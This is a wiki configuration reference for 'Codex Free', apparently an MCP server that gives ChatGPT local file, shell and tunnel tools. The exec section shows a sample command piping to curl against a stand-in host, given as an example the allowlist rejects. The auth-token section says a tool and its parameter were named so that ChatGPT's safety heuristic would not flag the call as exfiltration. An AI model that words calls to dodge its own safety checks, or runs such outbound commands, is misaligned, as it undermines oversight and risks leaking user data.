Skip to content

Configuration

hypnguyen1209 edited this page Aug 28, 2026 · 5 revisions

Configuration

Every field is optional and uses the same camelCase names as the original TypeScript project, so an existing config keeps working. A missing config file is tolerated — built-in defaults are used and the startup banner says so. CLI flags override config-file values.

Where the config is loaded from

Codex Free resolves one server-level codex.config.json in this order:

  1. --config <PATH>;
  2. the non-empty CODEX_FREE_CONFIG environment variable;
  3. an existing ~/.codex-free/codex.config.json (the user-level default);
  4. an existing ./codex.config.json in the launch directory — a warned legacy fallback, kept only for compatibility;
  5. built-in defaults.

Relative paths from --config or CODEX_FREE_CONFIG resolve against the process's startup directory, and those explicit sources are authoritative even when the file is missing (a missing file is tolerated). The startup banner prints the selected path and its source. Selecting the legacy working-directory file also prints a migration warning on stderr, because server authority — command, MCP-server, network, tunnel, and worktree policy — should not silently depend on which repository you happened to launch from. Move that file to ~/.codex-free/codex.config.json, or point at it explicitly with --config/CODEX_FREE_CONFIG. quickstart writes the user-level path by default. See CLI Reference and Security Model.

This page is the full reference. Jump to a block:

multiProject · worktrees · allowedCommands · port · tree · ignore · command · exec · projectDoc · output · review · audit · artifactIngress · artifactEgress · memory · skills · codexMcp · projectCatalog · conversationAuthToken · openaiTunnel · allowedHosts · mcpServers


Full example

{
  "multiProject": false,
  "worktrees": {
    "mode": "auto",
    "root": "/path/to/worktrees",
    "upstreamRefreshMode": "never",
    "autoCleanupEnabled": true,
    "keepCount": 15,
    "allowSetupScript": false
  },
  "allowedCommands": ["bun", "npm", "npx", "node", "git", "python", "pip", "cargo", "make"],
  "port": 3000,
  "tree": {
    "defaultDepth": 3,
    "ignore": ["node_modules", ".git", "dist", ".next", "__pycache__", ".venv", "venv"]
  },
  "ignore": {
    "useGitignore": true,
    "useDefaultPatterns": true,
    "customPatterns": []
  },
  "command": {
    "defaultTimeout": 30000,
    "maxTimeout": 120000
  },
  "exec": {
    "mode": "allowlist",
    "extraAllowedCommands": [
      "ls", "cat", "grep", "find", "head", "tail", "wc", "echo", "pwd",
      "which", "rg", "sed", "awk", "sort", "uniq", "diff", "true", "false"
    ],
    "maxSessions": 8,
    "idleTimeoutMs": 300000
  },
  "projectDoc": {
    "maxBytes": 32768,
    "fallbackFilenames": [],
    "rootMarkers": [".git"]
  },
  "output": {
    "maxFileLines": 1000,
    "maxFileBytes": 131072,
    "maxEntries": 500,
    "maxTreeNodes": 1000
  },
  "review": {
    "maxPatchBytes": 4194304
  },
  "audit": {
    "logFile": null,
    "includeCommandPreview": false,
    "commandPreviewMaxBytes": 512,
    "redactEnv": []
  },
  "artifactIngress": {
    "enabled": true,
    "maxFileBytes": 104857600,
    "requestTimeoutMs": 120000,
    "idleTimeoutMs": 30000,
    "maxRedirects": 3,
    "maxConcurrentDownloads": 2,
    "allowedHosts": ["*"]
  },
  "artifactEgress": {
    "enabled": true,
    "maxFileBytes": 104857600,
    "maxCachedBytes": 268435456,
    "maxReferences": 64,
    "referenceTtlMs": 300000
  },
  "memory": {
    "enabled": true,
    "maxBytes": 16384
  },
  "skills": {
    "enabled": true,
    "includePlugins": true
  },
  "codexMcp": {
    "enabled": true,
    "useCli": true
  },
  "projectCatalog": {
    "codexConfig": {
      "enabled": true,
      "trustedOnly": true
    },
    "entries": []
  },
  "openaiTunnel": {
    "tunnelId": "tunnel_0123456789abcdef0123456789abcdef",
    "apiKeyRef": "env:CONTROL_PLANE_API_KEY"
  },
  "allowedHosts": [],
  "mcpServers": {}
}

multiProject

Boolean; config-file equivalent of --multi-project. In that mode the process still reads one static config; project selection changes only the effective work directory used by project-scoped tools, not the server configuration itself. See Multi-Project Mode.

worktrees

Controls isolation between conversations that select the same Git project. Full narrative in Worktree Isolation.

Key Default Description
mode "auto" "auto": the first conversation uses the selected checkout, later ones get managed worktrees. "always": isolate every conversation. "never": keep direct-checkout sharing.
root Codex worktree location Parent directory for managed worktrees; overridden by --worktree-root.
upstreamRefreshMode Codex setting or "never" "best-effort" refreshes a tracked upstream before creating a worktree, without making fetch failure fatal.
autoCleanupEnabled Codex setting or true On startup, remove old unreferenced worktrees only when their working trees are clean.
keepCount Codex setting or 15 How many newest unreferenced managed worktrees to retain before considering cleanup candidates.
allowSetupScript false Whether a worktree's Codex environment setup script may run on creation. This runs an arbitrary command outside the allowlist/exec policy, and the script path is selectable from the source repo's local Git config, so an untrusted project could plant one. Leave off unless every reachable project is trusted.

When these are absent, Codex Free reads Codex Desktop's [desktop] worktree settings from $CODEX_HOME/config.toml (git-worktree-root, worktree-upstream-refresh-mode, worktree-auto-cleanup-enabled, worktree-keep-count). The location ultimately falls back to $CODEX_HOME/worktrees (normally ~/.codex/worktrees).

allowedCommands

Array; the allowlist for run_command. Only binaries listed here run; everything else is rejected. Defaults include bun, npm, npx, node, git, python, pip, cargo, make. This is a guardrail against accidents, not a sandbox — several of these interpreters run arbitrary code. See Security Model.

port

Server port. Default 3000. Equivalent to --port. Native tunnel mode binds loopback regardless.

tree

Governs the tree tool.

Key Default Description
defaultDepth 3 Default directory depth when a call names none.
ignore see example Legacy ignore list; still applies to glob, grep, tree, and list_directory.

ignore

Decides what the file-walking tools (glob, grep, tree, list_directory) never surface — so a search returns your code, not node_modules. Backed by the Rust ignore crate for .gitignore-accurate matching.

Key Default Description
useGitignore true Read .gitignore and .git/info/exclude.
useDefaultPatterns true Skip a built-in set (node_modules, .git, dist, build, out, .next, .nuxt, .svelte-kit, .turbo, coverage, __pycache__, .venv, venv, .cache).
customPatterns [] Extra gitignore-syntax patterns applied on top, for every tool.

node_modules and .git are always pruned no matter the settings. Pointing list_directory straight at an ignored directory still shows its contents, so you can look inside node_modules on purpose.

command

Governs run_command timeouts.

Key Default Description
defaultTimeout 30000 Default timeout in ms.
maxTimeout 120000 Ceiling a caller's own timeout cannot exceed.

exec

Governs exec_command and write_stdin.

Key Default Description
mode "allowlist" "allowlist" checks every command in the string; "unrestricted" runs whatever it's given.
extraAllowedCommands 18 read-only utilities Added to allowedCommands for exec_command only, so run_command stays narrow.
maxSessions 8 Cap on concurrent background sessions per ChatGPT conversation (or per transport for clients without conversation metadata).
idleTimeoutMs 300000 Milliseconds without a tool interaction before a resident process is killed and forgotten. 0 disables idle expiry.
defaultShell $SHELL, else PowerShell on Windows / /bin/sh elsewhere Shell used when a call names none.

Under "allowlist", the command string is tokenized and each command position — after every |, &&, ;, newline, and subshell — is checked, so ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright. See Tools Reference for shell selection rules.

projectDoc

Governs AGENTS.md discovery (see AGENTS and Skills). The whole block is optional.

Key Default Description
maxBytes 32768 Byte budget shared by all docs found; 0 disables the feature.
fallbackFilenames [] Extra filenames to try per directory, after AGENTS.override.md and AGENTS.md.
rootMarkers [".git"] Filenames/directories marking the project root; an empty list stops the walk at the work directory.

output

Bounds what a single tool call may return, so no one call floods ChatGPT's context. See Context and Memory.

Key Default Description
maxFileLines 1000 Lines read_file returns per call; a caller's limit can lower but not raise this.
maxFileBytes 131072 Byte ceiling for the same window — what actually bounds a minified file.
maxEntries 500 Results per glob or list_directory call.
maxTreeNodes 1000 Nodes in one tree walk, counted across the whole tree.

review

Bounds presentation of show_changes without changing checkpoint semantics. See Review Checkpoints.

Key Default Description
maxPatchBytes 4194304 Largest complete patch attached to the show_changes review widget's component-only result _meta (the model-visible result stays concise text, never the patch). The 4 MiB default is regression-tested with 10,000 changed code lines; a larger patch is omitted (not cut mid-hunk), while metadata and stats remain. 0 disables patch bodies.

audit

Privacy-preserving activity log. Disabled unless a file is set. Full details in Audit Logging.

Key Default Description
logFile null JSONL destination; a relative path resolves from the launch directory. Setting it enables auditing.
includeCommandPreview false Include bounded, redacted exec_command/run_command previews.
commandPreviewMaxBytes 512 Max UTF-8 byte length of a preview; range 116384.
redactEnv [] Env-var names whose current values must be removed from previews.

artifactIngress

Governs import_host_file — streaming a ChatGPT attachment or generated file into the project.

Key Default Description
enabled true Expose import_host_file; false removes the tool from tools/list (dropping the tool count by one).
maxFileBytes 104857600 Max downloaded bytes per file (100 MiB), enforced from declared and streamed size.
requestTimeoutMs 120000 Whole-import deadline.
idleTimeoutMs 30000 Max wait between response-body chunks; must not exceed requestTimeoutMs.
maxRedirects 3 Max manually validated redirects, 010.
maxConcurrentDownloads 2 Process-wide concurrent import cap, 116.
allowedHosts ["*"] Host patterns a URL and every redirect hop must match. "*" accepts any public HTTPS host but always rejects internal/reserved addresses. A bare host matches exactly; a leading dot (.example.com) matches that host and subdomains; a named internal host is trusted as given.

artifactEgress

Governs export_host_file — the reverse of ingress: exporting one existing project file to ChatGPT as a downloadable MCP resource_link. See Tools Reference and Security Model.

Key Default Description
enabled true Expose export_host_file; false removes the tool from tools/list (dropping the tool count by one). Independent of artifactIngress.
maxFileBytes 104857600 Max bytes for one exported file (100 MiB), enforced before the read and again while streaming so a file that grows mid-read is rejected.
maxCachedBytes 268435456 Process-wide ceiling (256 MiB) on all cached snapshot bytes together; the oldest references are evicted to stay within it. Must be at least maxFileBytes.
maxReferences 64 Max live resource references, 11024; the oldest is evicted when a new export would exceed it.
referenceTtlMs 300000 Lifetime of an opaque resource capability after the tool call (5 minutes). Expired, evicted, or restart-invalidated references return resource_not_found; call export_host_file again for a fresh one.

memory

Governs remember, recall, and the plan update_plan saves. See Context and Memory.

Key Default Description
enabled true false turns persistence off entirely.
dir ~/.codex-free/projects/<name>-<hash> Where the state file lives — outside the repo. In multi-project mode an explicit dir becomes a base directory with a hashed child per project.
maxBytes 16384 Budget for all notes together. A note over it is rejected, not silently evicted.

skills

Governs SKILL.md discovery. See AGENTS and Skills.

Key Default Description
enabled true false searches nothing.
dirs ~/.agents/skills, ~/.codex/skills, ~/.claude/skills User-scope directories, replacing the home defaults. Relative paths resolve against the work directory.
includePlugins true Discover installed Claude Code plugin skills. Setting dirs disables this unless you set it back to true.

codexMcp

Controls automatic import of MCP servers configured in Codex. See Bridging MCP Servers.

Key Default Description
enabled true Import Codex MCP servers (direct config.toml parsing + CLI discovery); false disables only MCP-server import (project-catalogue discovery is unaffected) unless --codex-cli overrides it.
useCli true Enrich direct parsing with codex mcp list/get --json (includes plugin-contributed servers). false keeps direct parsing but never invokes Codex.
cliPath CODEX_CLI_PATH, then codex on PATH Codex executable used for CLI enrichment.

projectCatalog

Controls project discovery in multi-project mode. Independent from codexMcp. See Multi-Project Mode.

Key Default Description
codexConfig.enabled true Read the top-level native Codex [projects] table as a candidate provider.
codexConfig.trustedOnly true Include only native entries whose trust_level is "trusted" — a discovery filter, not the access-root boundary.
entries [] Optional explicit paths + semantic metadata. May add a path absent from native Codex, but cannot escape --work-dir.

Each entries element: path (required; absolute or relative to the access root), name, aliases, description. Metadata overlays merge by canonical path.

conversationAuthToken

Top-level optional string. A shared secret that gates the connector at the conversation level, on top of the tunnel/transport auth. No CLI override — it lives only in the config file.

{ "conversationAuthToken": "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" }

A non-null value must be exactly 64 lowercase hexadecimal characters (a SHA-256-shaped 256-bit value); generate one with python -c 'import secrets; print(secrets.token_hex(32))'. When set, every tool except the gate tool is blocked and the project brief is withheld until a chat presents the token once. On the ChatGPT wire the gate is deliberately named setup and its parameter ref (not authenticate/token): ChatGPT's connector safety heuristic otherwise misreads a token-shaped call as secret exfiltration and refuses it. ref still carries the exact token verbatim — no digest, no weakening. After a successful call the grant is restored from stable ChatGPT conversation metadata across reconnects and restarts; generic MCP clients without ChatGPT metadata authorize per transport session. Rotating the token invalidates every previous grant.

Upgrading from ≤ 1.7.0: the previous codex_free_chat_… / 32–256-byte format is no longer valid and is rejected at startup. Regenerate a 64-hex token and re-issue the one-line setup instruction to your chats/Projects.

The token is stored in plaintext by design, so keep the config private and out of version control — the default ~/.codex-free/codex.config.json location already does. quickstart does not create or enable this feature; if the selected config already contains a valid token it preserves it, protects the file (0600 on Unix), and prints the one-line ChatGPT instruction. See Connecting to ChatGPT and Security Model.

openaiTunnel

Enables OpenAI's native outbound tunnel. See Connecting to ChatGPT.

Key Default Description
tunnelId required Existing tunnel_… identifier from OpenAI Platform.
apiKeyRef "env:CONTROL_PLANE_API_KEY" Runtime API-key reference. Only env:NAME and file:/path accepted; literal keys rejected.
clientPath verified managed runtime Explicit official tunnel-client/tunnel-client-runtime. Relative paths resolve from the launch dir.
organizationId Optional org ID passed as OpenAI-Organization.

Native mode cannot be combined with apiKey/--api-key. It generates a high-entropy per-process bearer for the loopback hop, forces host validation to loopback, and disables permissive CORS.

allowedHosts

Array. Without openaiTunnel, empty by default (accepts any Host header, for an external proxy). Set it to a list of hostnames to enable DNS-rebinding protection — only matching Host headers are served. Native tunnel mode ignores this and forces 127.0.0.1, localhost, ::1. See Security Model.

mcpServers

Map of upstream MCP servers to bridge and re-expose through this server. Local stdio or remote Streamable HTTP. Each server's mode picks an exposure — direct (default for explicit entries), gateway, or catalog (default for Codex-imported servers). Full syntax, overlays, and all three modes in Bridging MCP Servers.


See also

Clone this wiki locally